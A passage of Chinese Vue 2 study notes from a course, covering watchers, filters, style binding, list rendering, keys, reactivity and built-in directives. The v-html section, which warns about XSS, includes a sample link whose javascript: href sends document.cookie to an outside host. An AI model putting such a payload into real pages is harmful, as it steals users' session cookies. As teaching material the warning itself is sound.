  3. 计算属性初始时会计算一次,而侦听属性不会,若要让侦听属性对应的方法在初始时就执行,需要配置immediate:true
  4. 计算属性的get函数的返回值或简写形式韩数的返回值就是该计算属性的值;而侦听属性对应的函数的返回值不会赋给侦听属性(因为这样会导致无限的侦听循环),需自行赋值(注意如果在侦听属性对应的函数中给侦听属性赋予新的值,会导致无限的侦听循环,注意避免这种情况)

watch: { // 注意这里的侦听属性keyWord不要写成pFilter, 否则会导致无限的侦听循环 keyWord: { immediate:true, // 侦听属性对应的函数的返回值不会赋给侦听属性,如果要改变侦听属性值,记得要在侦听属性对应的函数中自行赋值 handler() { this.pFilter= this.persons.filter((p) => { return p.name.indexOf(this.keyWord) !== -1; }) } } }

两个重要的小原则:

  1. 所被Vue管理的函数,最好写成普通函数,这样this的指向才是Vue实例 或 组件实例对象
  2. 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数等这些异步任务,是由JS引擎管理),最好写成箭头函数,这样this的指向就不会是window,而是寻找外层作用域的this,当这些函数写在Vue实例中就是指向Vue实例 或 组件实例对象。

以下是用watch实现firstName或lastName变换后,1s后再变换fullName

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				fullName:'张-三'
			},
			watch:{
				firstName(val){
					setTimeout(()=>{
						console.log(this)
						this.fullName = val + '-' + this.lastName
					},1000);
				},
				lastName(val){
					this.fullName = this.firstName + '-' + val
				}
			}
		})
	</script>
</html>

computed无法实现其配置对象的异步任务

const vm = new Vue({
	el:'#root',
	data:{
		firstName:'张',
		lastName:'三'
	},
    computed:{
        fullName(){
            let newName;
            console.log('get被调用了');
            setTimeout(()=>{ // 因为setTimeout中的回调函数是异步任务,由JS引擎处理,不归Vue管,所以this指向window, 就读取不到Vue实例中的data数据,故返回undefined
                newName=this.firstName+'-'+this.lastName;
            },1000)
            return newName;
        }
    },
})
image-20230418151021517

过滤器

  • 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)

  • 语法:

    1. 注册过滤器:

      • Vue.filter(name,function),全局过滤器,所有Vue实例均可使用

      • new Vue{filters:{}},在Vue实例中的filters配置对象中配置,对象的属性值是函数或对象

    2. 使用过滤器:

      • {{ xxx | 过滤器1[ | 过滤器2...]}},可以写多个过滤器,管道符前面的返回值会作为后一个过滤器的第一个参数。过滤器若有多个参数在过滤器名后用括号括起参数即可
      • v-bind:属性 = "xxx | 过滤器名",注意v-model不能这样用

备注:

  1. 过滤器也可以接收额外参数、多个过滤器也可以串联
  2. 过滤器并没有改变原本的数据, 而是计算出新的数据
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
        <!-- 此处引用了BootCDN上的一个包,BootCDN是一个开源项目免费CDN加速服务 --> 
		<script type="text/javascript" src="../js/dayjs.min.js"></script>
	</head>	
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 计算属性实现 -->
			<h3>现在是:{{fmtTime}}</h3>
			<!-- methods实现 -->
			<h3>现在是:{{getFmtTime()}}</h3>
			<!-- 过滤器实现 -->
			<!-- time作为timeFormater函数的第一个参数 -->
			<h3>现在是:{{time | timeFormater}}</h3>
			<!-- 过滤器实现(传参) -->
			<!-- time作为timeFormater函数的第1个参数,'YYYY_MM_DD'为其第2个参数,timeFormater('YYYY_MM_DD')的返回值作为mySlice的第一个参数 -->
			<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
			<!-- x='你好,尚' -->
			<h3 :x="msg | mySlice">尚硅谷</h3>
		</div>

		<div id="root2">
			<h2>{{msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})
		
		new Vue({
			el:'#root',
			data:{
				time:1621561377603, //时间戳
				msg:'你好,尚硅谷'
			},
			computed: {
				fmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			//局部过滤器
			filters:{
				// ES6新语法,给str设置了默认参数
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)
				}
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello,atguigu!'
			}
		})
	</script>

image-20230425143240588

绑定样式

  1. class样式:写法:class="xxx" xxx可以是字符串、对象、数组

    • 字符串写法适用于:类名不确定,要动态获取。
    • 数组写法适用于:要绑定多个样式,个数不确定,名字也不确定。
    • 对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
  2. style样式:写法:style="xxx"

    • xxx为对象时:注意属性名是驼峰命名法,属性值要有引号,因为此时是在JS文件中,而不是CSS,所以要遵从JS对象的键值规范

      styleObj:{ fontSize: '40px', color:'red', },

    • xxx为数组时:数组元素是含有样式的对象,注意对象的属性名是驼峰命名法,属性值要有引号

      styleArr:[ { fontSize: '40px', color:'blue', }, { backgroundColor:'gray' } // this.styleObj, // 这种写法错误,但我不知道为什么 ]

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>绑定样式</title>
		<style>
			.basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			
			.happy{
				border: 4px solid red;;
				background-color: rgba(255, 255, 0, 0.644);
				background: linear-gradient(30deg,yellow,pink,orange,yellow);
			}
			.sad{
				border: 4px dashed rgb(2, 197, 2);
				background-color: gray;
			}
			.normal{
				background-color: skyblue;
			}

			.atguigu1{
				background-color: yellowgreen;
			}
			.atguigu2{
				font-size: 30px;
				text-shadow:2px 2px 10px red;
			}
			.atguigu3{
				border-radius: 20px;
			}
		</style>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
					2. style样式
								:style="{fontSize: xxx}"其中xxx是动态值。
								:style="[a,b]"其中a、b是样式对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 绑定class样式--字符串写法 -->
			<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
			<!-- 这种写法错误,因为“v-”开头的属性值引号中应该为JS表达式,这样写让浏览器认为normal是个变量,但Vue实例中的data或computed属性中并没有normal变量 -->
			<!-- <div class="basic" :class="normal" @click="changeMood">{{name}}</div> -->
			<!-- 这种写法正确,“v-”开头的属性值引号中应该为JS表达式,给normal加上引号后,浏览器就认为normal是个常量,就可以直接找到CSS中的类选择器 -->
			<div class="basic" :class="'normal'" @click="changeMood">{{name}}</div>
            
			<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
			<div class="basic" :class="classArr">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
			<div class="basic" :class="classObj">{{name}}</div> <br/><br/>

			<!-- 绑定style样式--对象写法 -->
			<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
			<!-- 绑定style样式--数组写法 -->
			<div class="basic" :style="styleArr">{{name}}</div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				mood:'normal',
				classArr:['atguigu1','atguigu2','atguigu3'],
				classObj:{
					atguigu1:false,
					atguigu2:false,
				},
				styleObj:{
					fontSize: '40px',
					color:'red',
				},
				styleObj2:{
					backgroundColor:'orange'
				},
				styleArr:[
					{
						fontSize: '40px',
						color:'blue',
					},
					{
						backgroundColor:'gray'
					}
                    // this.styleObj, // 这种写法错误,但我不知道为什么
				]
			},
			methods: {
                // 点击切换arr数组中的样式
				changeMood(){
					const arr = ['happy','sad','normal']
					const index = Math.floor(Math.random()*3)
					this.mood = arr[index]
				}
			},
		})
	</script>
	
</html>

条件渲染

  1. v-show

    • 写法:v-show="可以体现布尔值的JS表达式"

    • 特点:v-show="false"的本质是为该元素添加display: none样式, 该元素在html上仍存在,仅仅是用样式隐藏掉

    • 适用于:切换频率较高的场景,。

  2. v-if

    • 写法:
      (1).v-if="表达式" ,表达式为真的显示该元素,否则移除该元素(在html上不存在该元素)
      (2).v-else-if="表达式",表达式为真的显示该元素,否则移除该元素(在html上不存在该元素)。与前一个元素结点v-if配对使用,注意v-if结点与v-else-if结点之间不能被打断
      (3).v-else="表达式",当前面的条件都不符合时显示该元素节点,否则从html上移除。与前面的v-if(和v-else-if)配对使用,注意配对的结点之间不能被打断
    • 特点:不展示的时候DOM元素直接从html移除
    • 适用于:切换频率较低的场景。
    • 注意:v-if和:v-else-if、v-else一起使用时,结构不能被“打断”
  3. v-if="表达式"与template的配合使用,当表达式为真时,template中的元素都会显示出来。注意v-show没有和template配合使用的用法

<!-- v-if与template的配合使用 -->
<template v-if="n === 1">
	<h2>你好</h2>
	<h2>尚硅谷</h2>
	<h2>北京</h2>
</template>
  1. 备注:使用v-if的时,元素可能无法获取到,而使用v-show的元素节点一定可以获取到
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>条件渲染</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
			<!-- 使用v-show做条件渲染 -->
			<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- 使用v-if做条件渲染 -->
			<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- v-else和v-else-if -->
			<!-- <div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div> -->

			<!-- v-if与template的配合使用 -->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>尚硅谷</h2>
				<h2>北京</h2>
			</template>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:0
			}
		})
	</script>
</html>

列表渲染

基本指令

v-for遍历指令:

  1. 用于展示列表数据
  2. 语法:v-for="(item, index) in xxx" :key="yyy",yyy在遍历中应该是唯一的,xxx可以是数组、对象、字符串(用的很少)、数字(表示遍历次数用的很少)
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本列表</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<ul>
                <!-- 单个变量可以不加括号,多个变量最好加括号 -->
                <!-- 可以是in或of -->
                <!-- p为属性值,index为下标 -->
				<li v-for="(p,index) in persons" :key="index">
					{{p.name}}-{{p.age}}
				</li>
			</ul>

			<!-- 遍历对象 -->
			<h2>汽车信息(遍历对象)</h2>
			<ul>
                <!-- value为值,k为键 -->
				<li v-for="(value,k) of car" :key="k">
					{{k}}: {{value}}
				</li>
			</ul>

			<!-- 遍历字符串 -->
			<h2>测试遍历字符串(用得少)</h2>
			<ul>
				<li v-for="(char,index) of str" :key="index">
					{{index}}-{{char}}
				</li>
			</ul>
			
			<!-- 遍历指定次数 -->
			<h2>测试遍历指定次数(用得少)</h2>
			<ul>
                <!-- number从1开始加1 -->
				<li v-for="(number,index) of 5" :key="index">
					{{index}}-{{number}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					],
					car:{
						name:'奥迪A8',
						price:'70万',
						color:'黑色'
					},
					str:'hello'
				}
			})
		</script>
</html>
image-20230418204306701

key的原理

面试题:react、vue中的key有什么作用?(key的内部原理)

  1. 虚拟DOM中key的作用:key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
  2. 对比规则:
    • (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
      • ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
      • ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
    • (2).旧虚拟DOM中未找到与新虚拟DOM相同的key:
      • 创建新的真实DOM,随后渲染到到页面
  3. 用index作为key可能会引发的问题:
    1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
    2. 如果结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题。
  4. 开发中如何选择key?:
    1. 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。一般要遍历的每条数据都会有唯一标识,这是后端负责的
    2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>key的原理</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<button @click.once="add">添加一个老刘</button>
			<ul>
				<li v-for="(p,index) of persons" :key="index">
					{{p.name}}-{{p.age}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					]
				},
				methods: {
					add(){
						const p = {id:'004',name:'老刘',age:40}
						this.persons.unshift(p)
					}
				},
			})
		</script>
</html>

逆序添加、逆序删除等破坏顺序操作:

  1. 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
  2. 如果结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题。
    动画1

原理图

image-20230418223652033

顺序添加不会出现上述问题,即将this.persons.unshift(p)改为this.persons.push(p)

动画2

使用遍历数据中唯一的id(主键/主码,属性名不一定是id)作为:key也不会出现上述的问题

`



  • {{p.name}}-{{p.age}}

`

动画3

image-20230418224051614

列表过滤

<body>
    <div id="root">
        <h1>人员列表</h1>
        <input type="text" v-model="keyWord" placeholder="Please enter the name">
        <ul>
            <li v-for="(p,i) of pFilter" :key="p.id">{{p.name}}-{{p.age}}-{{p.sex}}</li>
        </ul>
    </div>
    <script>
        // computed实现,没有异步任务时推荐用computed
        // new Vue({
        //     el: '#root',
        //     data: {
        //         keyWord: '',
        //         persons: [
        //             { id: '001', name: '马冬梅', age: 19, sex: '女' },
        //             { id: '002', name: '周冬雨', age: 20, sex: '女' },
        //             { id: '003', name: '周杰伦', age: 21, sex: '男' },
        //             { id: '004', name: '温兆伦', age: 22, sex: '男' }
        //         ],

        //     },
        //     // 计算属性在初始的时候就会执行,p.name.indexOf('')都会返回0,就是都包含空字符串,所以初始时所有列表都会显现出来
        //     computed: {
        //         pFilter(){
        //             return this.persons.filter((p)=>{
        //                 return p.name.indexOf(this.keyWord)!==-1;
        //             })
        //         }
        //     }
        // })

        // watch实现
        const vm=new Vue({
            el: '#root',
            data: {
                keyWord: '',
                persons: [
                    { id: '001', name: '马冬梅', age: 19, sex: '女' },
                    { id: '002', name: '周冬雨', age: 20, sex: '女' },
                    { id: '003', name: '周杰伦', age: 21, sex: '男' },
                    { id: '004', name: '温兆伦', age: 22, sex: '男' }
                ],
                pFilter: []
            },
            watch: {
                // 注意这里的侦听属性不要写成pFilter, 否则会导致无限的侦听循环
                keyWord: {
                    immediate:true,
                    // 而侦听属性对应的函数的返回值不会赋给侦听属性,如果要改变侦听属性值,记得要在侦听属性对应的函数中赋值
                    handler() {
                        this.pFilter= this.persons.filter((p) => {
                            return p.name.indexOf(this.keyWord) !== -1;
                        })
                    }
                }
            }
        })
        console.log(vm);
    </script>
</body>

列表排序

<body>
    <div id="root">
        <h1>人员列表</h1>
        <input type="text" v-model="keyWord" placeholder="Please enter the name">
        <button @click="order=2">年龄升序</button>
        <button @click="order=1">年龄降序</button>
        <button @click="order=0">原顺序</button>
        <ul>
            <li v-for="(p,i) of pFilter" :key="p.id">{{p.name}}-{{p.age}}-{{p.sex}}</li>
        </ul>
    </div>
    <script>
        // computed实现,没有异步任务时推荐用computed
        const vm = new Vue({
            el: '#root',
            data: {
                keyWord: '',
                persons: [
                    { id: '001', name: '马冬梅', age: 19, sex: '女' },
                    { id: '002', name: '周冬雨', age: 21, sex: '女' },
                    { id: '003', name: '周杰伦', age: 11, sex: '男' },
                    { id: '004', name: '温兆伦', age: 32, sex: '男' }
                ],
                order: 0,
            },
            // 计算属性在初始的时候就会执行,p.name.indexOf('')都会返回0,就是都包含空字符串,所以初始时所有列表都会显现出来
            computed: {
                pFilter() {
                    // 先把符合条件的过滤出来
                    let arr = this.persons.filter((p) => {
                        return p.name.indexOf(this.keyWord) !== -1;
                    })
                    // this.order非0表示需要排序,别忘了给order加this
                    if (this.order) {
                        // 形参a,b表示参与排序的元素
                        arr=arr.sort((a, b) => {
                            // 注意是a.age与b.age不是a与b,a.age与b.age表示排序的依据
                            return this.order===1 ? b.age-a.age : a.age-b.age;
                        })
                    }
                    return arr;
                }
            }
        })
    </script>
</body>

Vue监测数据改变的原理

问题引入

如以下代码所示,给data数据中数组的某项元素直接赋值,虽然能改变数据,但是Vue并没有监测到数据的变化,所以页面上不会更新数据

但是给数组元素中的某个属性赋值可以,如this.persons[0].name = '马老师'。用破坏性的数组方法(如splice)修改数组Vue也可以侦听到数据变化,并更新页面数据。

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<button @click="updateMei">更新马冬梅的信息</button>
			<ul>
				<li v-for="(p,index) of persons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			const vm = new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'马冬梅',age:30,sex:'女'},
						{id:'002',name:'周冬雨',age:31,sex:'女'},
						{id:'003',name:'周杰伦',age:18,sex:'男'},
						{id:'004',name:'温兆伦',age:19,sex:'男'}
					]
				},
				methods: {
					updateMei(){
						// this.persons[0].name = '马老师' //奏效
						// this.persons[0].age = 50 //奏效
						// this.persons[0].sex = '男' //奏效
						// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
						this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'}) // 奏效
					}
				}
			}) 

		</script>

这是为什么呢?下面来探讨Vue侦听数据改变的大致原理

如下写法不对,get中的data.name会导致调用get方法,而get方法里又有data.name,导致循环调用。set也是这样的问题

image-20230419212853807

执行结果:调用死循环,导致栈溢出

image-20230419212724883

以下方式模拟了Vue侦听数据的原理,解决了回调死循环的问题。先定义Observer函数,然后创建Observer实例obs,再将obs赋值给data和vm._data。这样datavm._data中的第一层属性(只是第一层)就都会有自己的get和set方法。

let data = {
				name:'尚硅谷',
				address:'北京',
			}

			//创建一个简单模拟Vue监视数据的实例对象,用于监视data中属性的变化。
			const obs = new Observer(data)		
			console.log(obs)	

			//准备一个vm实例对象
			let vm = {}
			vm._data = data = obs
			// 创建一个简单模拟Vue监视数据的功能函数
			function Observer(obj){
				//汇总对象中所有的属性形成一个数组
				const keys = Object.keys(obj)
				//遍历
				// 该循环相当于将data中的数据拷贝到Observer中,同时给第一层的每个属性添加get和set方法
				keys.forEach((k)=>{
					// this指Observer实例,这里是obs
					Object.defineProperty(this,k,{
						get(){
							return obj[k]
						},
						set(val){
							console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
							obj[k] = val
						}
					})
				})
			}
Vue.set()的使用

由于以属性方式添加到data中的属性不会被Vue所侦听到,就是不会同步到页面上,虽然实际确实添加了该属性。所以我们用静态方法Vue.set('对象','属性','属性值')或实例方法Vue实例.$set('对象','属性','属性值')来后期添加新的属性到data中(这里的属性不只是data的第一层属性)

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称:{{school.name}}</h2>
			<h2>学校地址:{{school.address}}</h2>
			<h2>校长是:{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性,默认值是男</button>
			<h2>姓名:{{student.name}}</h2>
			<h2 v-if="student.sex">性别:{{student.sex}}</h2>
			<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					this.student.sex='男' // 这种方式添加的属性不能被侦听到(虽然实际上是添加成功了),要避免后期的这种添加方式
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			}
		})
	</script>
小结

对于有些情况下Vue检测不到对象和数组中的数据变化的解决办法

  • 对象
    通过组件实例.$set('对象','键',值)Vue.set('对象','键',值)添加,修改属性。对象.键=值的方法虽然能修改数据,但Vue检测不到改变,页面不更新
    通过组件实例.$delete('对象','键',值)Vue.delete('对象','键',值)删除属性,delete 对象.键的方法虽能删除数据,但Vue检测不到改变,页面不更新
  • 数组:数组[下标]=值的方法虽然能修改数据,但Vue检测不到改变,页面不更新
    1. 使用破坏性的数组方法,比如splice(数组下标, 替换数组元素个数, 新值)修改数组
    2. 通过组件实例.$set('数组',下标,值)Vue.set('数组',下标,值)修改数组

Vue监视数据的原理:

  1. vue会监视data中所有层次的数据。

  2. 如何监测对象中的数据?
    通过setter实现监视,且要在new Vue时就传入要监测的数据。
    (1).对象中后追加的属性,Vue默认不做响应式处理
    (2).如需给后添加的属性做响应式,请使用如下API,这2个方法也适用于数组。此外这2个方法也可以用来修改对象属性或数组元素:Vue.set(target,propertyName/index,value)Vue实例.$set(target,propertyName/index,value)

  3. 如何监测数组中的数据?
    通过包裹数组更新元素的方法实现,本质就是做了两件事:
    (1).调用原生对应的方法对数组进行更新。
    (2).重新解析模板,进而更新页面。

  4. 修改Vue实例data数据中的数组中的某个元素一定要用如下方法:
    (1).使用这些破坏性API(就是会改变原数组的数组方法):push()、pop()、shift()、unshift()、splice()、
    sort()、reverse()。Vue对原生JS中的这些数组方法做了进一步封装,例如vm.student.hobby.push===Array.
    prototype.push的结果是false
    image-20230424215143726

(2).Vue.set() 或 vm.\(set() 特别注意:Vue.set() 和 vm.\)set() 不能给vm 或 vm的根数据对象 添加属性!!!,就是这2个API的第一个参数不能是Vue实例Vue实例._data

综合练习

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学生信息</h1>
			<button @click="student.age++">年龄+1岁</button> <br/>
			<button @click="addSex">添加性别属性,默认值:男</button> <br/>
			<button @click="student.sex = '未知' ">修改性别</button> <br/>
			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名:{{student.name}}</h3>
			<h3>年龄:{{student.age}}</h3>
			<h3 v-if="student.sex">性别:{{student.sex}}</h3>
			<h3>爱好:</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h3>朋友们:</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
				addFriend(){
					this.student.friends.unshift({name:'jack',age:70})
				},
				updateFirstFriendName(){
                    // Vue.set(this.student.friends[0],'name','张三')
					this.student.friends[0].name = '张三'
				},
				addHobby(){
					this.student.hobby.push('学习')
				},
				updateHobby(){
					// this.student.hobby.splice(0,1,'开车')
					// Vue.set(this.student.hobby,0,'开车')
					this.$set(this.student.hobby,0,'开车')
				},
				removeSmoke(){
					this.student.hobby = this.student.hobby.filter((h)=>{
						return h !== '抽烟'
					})
				}
			}
		})
	</script>

Vue内置的其他指令

v-text

我们学过的指令:

  • v-bind : 单向绑定解析表达式, 可简写为 :xxx
  • v-model : 双向数据绑定,可以省略该指令后面的:value
  • v-for : 遍历数组/对象/字符串
  • v-on : 绑定事件监听, 可简写为@
  • v-if : 条件渲染(动态控制节点是否存存在)
  • v-else-if: 条件渲染(动态控制节点是否存存在)
  • v-else : 条件渲染(动态控制节点是否存存在)
  • v-show : 条件渲染 (动态控制节点是否展示)

v-text指令:

  1. 作用:向其所在的节点中渲染文本内容。
  2. 无法解析标签,即把标签当做普通文本
  3. 与插值语法的区别:v-text会替换掉节点中所有的内容,{{xx}}则不会。
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>

image-20230425143212525

v-html

v-html指令:

  1. 作用:向指定节点中渲染包含html结构的内容

  2. 与插值语法的区别:

    (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
    (2).v-html可以识别html结构。

  3. 一定注意:v-html有安全性问题!!!!

    (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
    (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>',
                // 涉及到cookie相关知识,cookie是服务器返回给浏览器的一些键值对,有了它用户可以免登入进入相应账户
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>

v-cloak

问题引入:如下代码是通过访问服务器上的Vue.js文件来加载html,在5s前(html结构加载后,Vue.js加载前),会出现如下所示的情况。因为此时Vue还没有解析模板,浏览器就把{{name}}当做普通的字符串处理显示在页面中了

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

image-20230425175827239

v-cloak指令(没有值):

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

以下实例解决了网速慢时页面展示出{{xxx}}的问题,在Vue未加载时,v-cloak属性还在h2标签里,这时就会被[v-cloak]属性选择器选中,该选择器设置的样式是display:none;,所以该元素节点就不会显示在页面上。当Vue加载后,v-cloak属性会被移除,该节点就不会被该属性选择器选上了,所以就显示出来了

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
        <!-- 如果在这里引用vue.js,就会在此处卡5s,下面的HTML结构要在5s后才会显示 -->
        <!-- <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script> -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
        <!-- 5s后才能得到vue,js文件 -->
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

v-once

需求:显示Vue实例data中的数据的初始值,同时也能显示数据的当前值。那么就需要用v-once指令了

v-once指令:

